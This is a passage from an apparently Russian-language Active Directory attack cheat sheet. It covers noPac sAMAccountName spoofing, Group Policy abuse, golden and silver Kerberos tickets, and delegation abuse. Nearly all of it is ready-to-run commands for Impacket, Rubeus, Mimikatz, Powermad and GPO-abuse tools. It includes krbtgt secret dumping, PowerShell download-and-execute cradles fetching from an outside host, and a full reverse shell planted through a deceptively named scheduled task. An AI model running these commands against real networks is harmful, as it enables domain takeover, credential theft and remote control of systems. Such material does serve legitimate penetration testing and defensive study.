addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'

Powermad

. .\Powermad.ps1
$password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose

SharpMad

Sharpmad.exe MAQ -Action new -MachineAccount ControlledComputer -MachinePassword ComputerPassword

2. Очистить атрибут servicePrincipalName у учетки


Impacket

addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController

PowerView

. .\Powerview.ps1
Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose


3. Переименовать учетку (sAMAccountName поле) в название_другой_машинной_учетки_без_доллара, например, DomainController или DC01


Impacket - https://github.com/SecureAuthCorp/impacket/pull/1224

renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'

Powermad

. .\Powermad.ps1
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose

4. Запросить TGT билет для данной учетки


Impacket

getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword'


Rubeus

Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap

5. Переименовать название учетки в старый вариант (ну или любой другой который отличается от учетки-жертвы без доллара)


Impacket - https://github.com/SecureAuthCorp/impacket/pull/1224

renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password'

Powermad

Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose

6. Запросить TGS билет используя полученный ранее TGT (спойлер, билет будет для учетки-жертвы)


Impacket - https://github.com/SecureAuthCorp/impacket/pull/1202

KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'

Rubeus

Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]


Далее с этим билетом можно стучаться на доменный контроллер и, например, сдампить секреты:

KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'


Автоматизация

noPac - https://github.com/cube0x0/noPac

noPac.exe scan -domain htb.local -user user -pass 'password123'
noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt
noPac.exe -domain htb.local -user domain_user -pass "Password123!" /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service ldaps /ptt /impersonate Administrator

sam_the_admin - https://github.com/WazeHell/sam-the-admin

$ python3 sam_the_admin.py "caltech/alice.cassie:Lee@tPass" -dc-ip 192.168.1.110 -shell
[*] Selected Target dc.caltech.white                                              
[*] Total Domain Admins 11                                                        
[*] will try to impersonat gaylene.dreddy                                         
[*] Current ms-DS-MachineAccountQuota = 10                                        
[*] Adding Computer Account "SAMTHEADMIN-11$"                                     
[*] MachineAccount "SAMTHEADMIN-11$" password = EhFMT%mzmACL                      
[*] Successfully added machine account SAMTHEADMIN-11$ with password EhFMT%mzmACL.
[*] SAMTHEADMIN-11$ object = CN=SAMTHEADMIN-11,CN=Computers,DC=caltech,DC=white   
[*] SAMTHEADMIN-11$ sAMAccountName == dc                                          
[*] Saving ticket in dc.ccache                                                    
[*] Resting the machine account to SAMTHEADMIN-11$                                
[*] Restored SAMTHEADMIN-11$ sAMAccountName to original value                     
[*] Using TGT from cache                                                          
[*] Impersonating gaylene.dreddy                                                  
[*]     Requesting S4U2self                                                       
[*] Saving ticket in gaylene.dreddy.ccache                                        
[!] Launching semi-interactive shell - Careful what you execute                   
C:\Windows\system32>whoami                                                        
nt authority\system

Pachine - https://github.com/ly4k/Pachine

usage: pachine.py [-h] [-scan] [-spn SPN] [-impersonate IMPERSONATE] [-domain-netbios NETBIOSNAME] [-computer-name NEW-COMPUTER-NAME$] [-computer-pass password] [-debug] [-method {SAMR,LDAPS}] [-port {139,445,636}] [-baseDN DC=test,DC=local]
              [-computer-group CN=Computers,DC=test,DC=local] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] -dc-host hostname [-dc-ip ip]
              [domain/]username[:password]
$ python3 pachine.py -dc-host dc.predator.local -scan 'predator.local/john:Passw0rd!'
$ python3 pachine.py -dc-host dc.predator.local -spn cifs/dc.predator.local -impersonate administrator 'predator.local/john:Passw0rd!'
$ export KRB5CCNAME=$PWD/administrator@predator.local.ccache
$ impacket-psexec -k -no-pass 'predator.local/administrator@dc.predator.local'

Групповые политики

Некорректная настройка групповых политик, которая приводит к возможности повышения привилегий. Как минимум, для начала достаточно получить список всех политик командами, которые ранее были указаны.

Права на управление политикой

1. Получаем список всех политик командой ранее

Get-NetGPO | % {Get-ObjectAcl -ResolveGUIDs -Name $_.Name}

2. Находим среди них те, у которых IdentityReference совпадает с вашим пользователем и правами на работу с политиками.


3. Находим хосты с данной уязвимой политикой по GUID

Get-NetOU -GUID "6AC1786C-016F-11D2-945F-00C04FB984F9" | % {Get-NetComputer -AdSpath $_}


4. Определеяем название политики по GUID

Import-Module GroupPolicy
Get-GPO -Guid 31a09564-cd4a-4520-98fa-446a2af23b4b


4. Создаем задачу с данной политикой

New-GPOImmediateTask -TaskName test3 -GPODisplayName "Default Domain Controllers Policy" -CommandArguments '<powershell_payload>' -Force


5. Удаление созданной задачи после работы

New-GPOImmediateTask -Remove -Force -GPODisplayName SecurePolicy

Права на создание политики

1. Получаем списки обьектов(SID S-...), которые могут создавать новые политики в домене:

Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=prod,DC=zeropointsecurity,DC=local" -ResolveGUIDs | where { $_.ObjectAceType -eq "Group-Policy-Container" }


2. Получаем имя обьекта по SID

(module Powerview): ConvertFrom-SID S-1-5-21-2099624319-2074614000-178036743-1002

Права на редактирование политики

1. Список юзеров, которые могут изменять политики

Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | where { $_.ActiveDirectoryRights -match "WriteProperty|WriteDacl|WriteOwner" -and $_.SecurityIdentifier -match "S-1-5-21-3301805923-005976665-244893303-[\d]{4,10}" }

Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | where { $_.ActiveDirectoryRights -match "GenericWrite|AllExtendedWrite|WriteDacl|WriteProperty|WriteMember|GenericAll|WriteOwner" -and $_.SecurityIdentifier -match "S-1-5-21-3301805923-005976665-244893303-[\d]{4,10}" }


2. Узнаем имя политики

Get-DomainGPO -Identity '{205F0E03-17C3-4E9B-925E-330FAD565CA1}' | select DisplayName


3. Получаем список ПК с данной политикой

Get-NetOU -GUID "205F0E03-17C3-4E9B-925E-330FAD565CA1" | % {Get-NetComputer -AdSpath $_}


4. Нужен пользователь, который может связать политику с "Организационными подразделениями"(OU), например, OU=Workstations. В идеале нужен тот же пользователь, кто может менять политику (так проще).

Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | where { $_.ObjectAceType -eq "GP-Link" }

Автоматизация

SharpGPOAbuse

https://github.com/FSecureLABS/SharpGPOAbuse

Добавление прав пользователю

SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"

Добавление нового локального админа

SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"

Добавление сценария запуска компьютера или пользователя

SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

# только на определенном пк
SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%==<targetusername> powershell


Настройка ПК или пользователю задачи

SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

# на определенном ПК или пользователе

SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" --FilterEnabled --TargetDnsName target.domain.com


PowerGPOAbuse

https://github.com/rootSySdk/PowerGPOAbuse

. .\PowerGPOAbuse.ps1


Добавить локального админа

Add-LocalAdmin -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'


Выдать новые привилегии

Add-UserRights -Rights "SeLoadDriverPrivilege","SeDebugPrivilege" -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO'


Добавить новый ПК/пользовательский скрипт

Add-ComputerScript/Add-UserScript -ScriptName 'EvilScript' -ScriptContent $(Get-Content evil.ps1) -GPOIdentity 'SuperSecureGPO'


Создать задачу

Add-GPOImmediateTask -TaskName 'eviltask' -Command 'powershell.exe /c' -CommandArguments "'$(Get-Content evil.ps1)'" -Author Administrator -Scope Computer/User -GPOIdentity 'SuperSecureGPO'


pyGPOAbuse

https://github.com/Hackndo/pyGPOAbuse


Добавить пользователя john(пароль H4x00r123..) в локальные админы

./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"


Пример реверс-шелла

./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" \ 
    -powershell \ 
    -command "\$client = New-Object System.Net.Sockets.TCPClient('10.20.0.2',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" \ 
    -taskname "Completely Legit Task" \
    -description "Dis is legit, pliz no delete" \ 
    -user

PowerView

Вычисление групповых политик

Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}


Создать таск используя политику VulnGPO

New-GPOImmediateTask -TaskName Debugging -GPODisplayName VulnGPO -CommandArguments '-NoP -NonI -W Hidden -Enc AAAAAAA...' -Force


StandIn

https://github.com/FuzzySecurity/StandIn

Добавить локального администратора

StandIn.exe --gpo --filter Shards --localadmin user002


Выдать привилегию пользователю

StandIn.exe --gpo --filter Shards --setuserrights user002 --grant "SeDebugPrivilege,SeLoadDriverPrivilege"


Запуск произвольной команды

StandIn.exe --gpo --filter Shards --tasktype computer --taskname Liber --author "REDHOOK\Administrator" --command "C:\I\do\the\thing.exe" --args "with args"


Выполнение действий подменяя DC

Golden ticket

Если у нас есть пароль (или ntlm-hash) аккаунта krbtgt, можно сгенерировать любой TGT оффлайн. А после получения произвольного TGT можно получить произвольный TGS == доступ к любому сервису, подключенному к AD.

Детект

Детектится, если посмотреть разницу между запрашиваемыми TGT и TGS (тк TGT генерится без запроса к доменному контроллеру

Эксплуатация

1. Получить пароль krbtgt

2. Сгенерировать TGT - рассматривать будем только этот пункт.

3. Получить TGS

4. Использовать TGS для доступа куда то.


Mimikatz

kerberos::purge
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
kerberos::tgt


Meterpreter - kiwi

load kiwi
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
kerberos_ticket_purge
kerberos_ticket_use /root/Downloads/pentestlabuser.tck
kerberos_ticket_list


Impacket - ticketer.py

./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da

ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519

./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519


Silver ticket

Суть атаки заключается в использовании пароля учетки службы (или его хеш), например, domain\iis_svc) для генерации TGS без участия доменного контроллера.

Эксплуатация

1. Сгенерировать TGS

2. Использовать TGS для доступа куда то.


Mimikatz

# Сгенерировать TGS
kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE

# Другие примеры
 .kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt
 kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park

# Сохранить tgs
misc::convert ccache ticket.kirbi

У Active Directory есть стандартные настройки для учеток и др для общения, например, между сервисами. Это не является уязвимостями или атаками тк является стандартными возможностями, которые были предусмотрены как разработчиками AD, так и архитекторами.


Делегирования полномочий

Делегирование полномочий Kerberos позволяет повторно использовать учетные данные конечного пользователя для доступа к ресурсам, размещенным на другом сервере. Всего есть три типа делегирования.


Unconstrained Delegation / Неограниченное

Кратко: вместе с TGS, пользователь на сервис отправляет встроенный в TGS - TGT-билет, который в дальнейшем может быть использован сервисом для работы от имени данного пользователя. Был единственным вариантом делегирования до Windows Server 2003.

Атакующий может получить контроль над машиной, у которой есть данная привилегия, и соответственно получить TGT всех пользователей, которые делали соответствующие запросы на сервисы этой машины.

Стандартная процедура:

1. Пользователь отправляет TGS-билет(в который также встроили TGT билет) к сервису на ПК с Unconstrained Delegation

2. Этот ПК делает запросы на другие сервисы от имени первого пользователя используя его TGT.

Поиск ПК

ПК в домене

PowerView

Get-NetComputer -unconstrained

# Список ПК с Unconstrained
$Computers = Get-DomainComputer -Unconstrained

# Список юзеров, кто может делегироваться
$Users = Get-DomainUser -AllowDelegation -AdminCount


Active-Directory Module

import-module ActiveDirectory
Get-ADComputer -Filter {(TrustedForDelegation -eq $True)}

Удаленно

ldapdomaindump

ldapdomaindump -u "DOMAIN\\Account" -p "Password123*" 10.10.10.10   
grep TRUSTED_FOR_DELEGATION domain_computers.grep

CrackMapExec

cme ldap 10.10.10.10 -u username -p password --trusted-for-delegation

windapsearch

python3 windapsearch.py --unconstrained-users --unconstrained-computers ...

ldapsearch

# users
ldapsearch -LLL -x -H ldap://pdc01.lab.ropnop.com -D "thoffman@lab.ropnop.com" -W -b "dc=lab,dc=ropnop,dc=com" "(&(&(objectCategory=person)(objectClass=user))(userAccountControl:1.2.840.113556.1.4.803:=524288))"

# computers
ldapsearch -LLL -x -H ldap://pdc01.lab.ropnop.com -D "thoffman@lab.ropnop.com" -W -b "dc=lab,dc=ropnop,dc=com" "(&(objectCategory=computer)(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))"

Эксплуатация

Варианты эксплуатации:

1. Используя PrinterSpool - тогда вы получите TGT доменного админа заставив его перейти на сервис под вашим контролем (см. PrinterSpool)

2. Используя MS-EFSRPC Abuse - альтернативный методу SpoolSample, который заставляет доменного админа перейти на ваш ПК (см. MS-EFSRPC Abuse)


Constrained Delegation / Ограниченное

Аналогично предыдущему пункту, но позволяет получить доступ только к разрешенным сервисам на определенной машине.

Есть два типа делегации:

1. Service for User to self (S4U2self)

2. Service for User to Proxy(S4U2proxy)

Service for User to self (S4U2self)

Это когда сервисный аккаунт может получить TGS для себя (на сервис) от имени любого пользователя.

Требования: у этого аккаунта поле userAccountControl должно содержать TRUSTED_TO_AUTH_FOR_DELEGATION (T2A4D). Также у аккаунта не должно быть пометки "Account is sensitive and cannot be delegated".

Поиск

Эксплуатация

Service for User to Proxy(S4U2proxy)

Это когда сервисный аккаунт может получить TGS на другой сервис.

Требования: можно сделать запрос только на сервисы из поля msDS-AllowedToDelegateTo. Также у аккаунта не должно быть пометки "Account is sensitive and cannot be delegated".

Из полезного: если ваш аккаунт может делегировать права на сервис, например www/server02, то он также может делегировать права на другой сервис на этом ПК, например на cifs/server02.

Поиск

Powershell

# Поиск ПК
$ Get-DomainComputer -TrustedToAuth | select -exp dnshostname

# Список сервисов 
$ Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo


Эксплуатация

Impacket

getST.py -spn SERVICE/HOSTNAME_YOU_HAVE_DELEGATION_RIGHTS_TO.FQDN -impersonate TARGET_USER DOMAIN/USERNAME:PASSWORD

getST.py -spn HOST/SQL01.DOMAIN 'DOMAIN/user:password' -impersonate Administrator -dc-ip 10.10.10.10

Rubeus

#Получаем TGT на нашего пользователя
.\Rubeus.exe asktgt /user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi

#Получаем TGS на самого себя от имени юзера Administrator
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator

#Используем TGS к сервису CIFS от юзера Administrator
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS

#Используем TGS на другом сервисе (HOST)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST

#Загружаем билет в память
.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local

kekeo.exe + Mimikatz.exe

# Получем TGT для нашего пользователя
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d

#Получаем TGS на два сервиса - один легитимный (time) и другой (ldap)
tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL

#Загружаем TGS в память
Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_ldap~ dcorp-dc.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL_ALT.kirbi"'

Resource Based Constrained Delegation / Ограниченное на основе ресурсов

Основное отличие от Constrained Delegation в том, что конечный сервис на который делегируемся должен иметь атрибут AllowedToActOnBehalfOfOtherIdentity со значением сервиса, на который изначально идет запрос (сервис, который делает запрос на конечный сервис).

Поиск

Эксплуатация

Powermad + Powerview + Rubeus (получение доменного админа)

# 1. Импорт скриптов
PowerShell.exe -ExecutionPolicy Bypass
Import-Module .\powermad.ps1
Import-Module .\powerview.ps1

# 2. Получить SID пользователя
$AttackerSID = Get-DomainUser SvcJoinComputerToDom -Properties objectsid | Select -Expand objectsid
$ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match $AttackerSID}
$ACE
ConvertFrom-SID $ACE.SecurityIdentifier

# 3. Создать машинную учетку (нужна MachineAccountQuota)
New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-SecureString 'Weakest123*' -AsPlainText -Force)

# 4. Перезаписываем параметр доменного контроллера AllowedToActOnBehalfOfOtherIdentity
$ComputerSid = Get-DomainComputer swktest -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc01-ww2.factory.lan | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
$RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
$Descriptor.DiscretionaryAcl

# 4. 
$SID_FROM_PREVIOUS_COMMAND = Get-DomainComputer MACHINE_ACCOUNT_NAME -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$SID_FROM_PREVIOUS_COMMAND)"; $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); Get-DomainComputer DC01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

# 4. 
StandIn_Net35.exe --computer dc01 --sid SID_FROM_PREVIOUS_COMMAND

# 5. Получаем хеш пароля
Rubeus.exe hash /password:'Weakest123*' /user:swktest$  /domain:factory.lan

# 6.Имперсонировать доменного админа используя ранее созданную машинную учетку
.\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap
.\Rubeus.exe s4u /user:swktest$ /aes256:0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347 /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap


Impacket + rbcd repo

https://github.com/tothi/rbcd-attack


# 1. Создаем фейковый ПК
addcomputer.py -computer-name 'evilcomputer$' -computer-pass ev1lP@sS -dc-ip 192.168.33.203 ecorp.local/test:ohW9Lie0

# 2. Добавляем к цели атрибут  msDS-AllowedToActOnBehalfOfOtherIdentity с нашим созданным ПК
./rbcd.py -f EVILCOMPUTER -t WEB -dc-ip 192.168.33.203 ecorp\\test:ohW9Lie0

# 3. Получем TGS на имперсонированный сервис
getST.py -spn cifs/WEB.ecorp.local -impersonate admin -dc-ip 192.168.33.203 ecorp.local/EVILCOMPUTER$:ev1lP@sS

# 4. Добавляем тикет и юзаем его
export KRB5CCNAME=`pwd`/admin.ccache
klist

Powermad + Powerview + Rubeus (доступ к определенному ПК)

# 1. Импорт зависимостей
Import-Module .\powermad.ps1
Import-Module .\powerview.ps1

# Наш аккаунт TESTLAB\attacker, у которого есть GenericWrite на права учетки primary$
whoami

# 2. Устанавливаем домен ПК цели и получаем его SID
$TargetComputer = "primary.testlab.local"
$AttackerSID = Get-DomainUser attacker -Properties objectsid | Select -Expand objectsid


# 3. Подтвердждаем наличие права GenericWrite на $TargetComputer 
$ACE = Get-DomainObjectACL $TargetComputer | ?{$_.SecurityIdentifier -match $AttackerSID}
$ACE

# 4. Конвертируем SID
ConvertFrom-SID $ACE.SecurityIdentifier

# 5. Создаем новую машинную учетку attackersystem$
New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)

# 6. Получаем SID созданного ПК
$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid

# 7. Устанавливаем RawSecurityDescriptor у созданного ПК
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"

# 8. Конвертируем байты SDDL
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

# 9. Устанавливаем новый параметр msds-allowedtoactonbehalfofotheridentity
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

# 10. Подтверждаем установку параметра
$RawBytes = Get-DomainComputer $TargetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
$Descriptor.DiscretionaryAcl

# 11. Получаем hash нашего пароля
.\Rubeus.exe hash /password:Summer2018! /user:attackersystem /domain:testlab.local

# 12. Получаем доступ к сервису cifs/primary.testlab.local  (harmj0y - это доменный админ)
.\Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:harmj0y /msdsspn:cifs/primary.testlab.local /ptt

# 12. Проверяем доступ 
dir \\primary.testlab.local\C$

# 99. Очищаем параметр msds-allowedtoactonbehalfofotheridentity
Get-DomainComputer $TargetComputer | Set-DomainObject -Clear 'msds-allowedtoactonbehalfofotheridentity'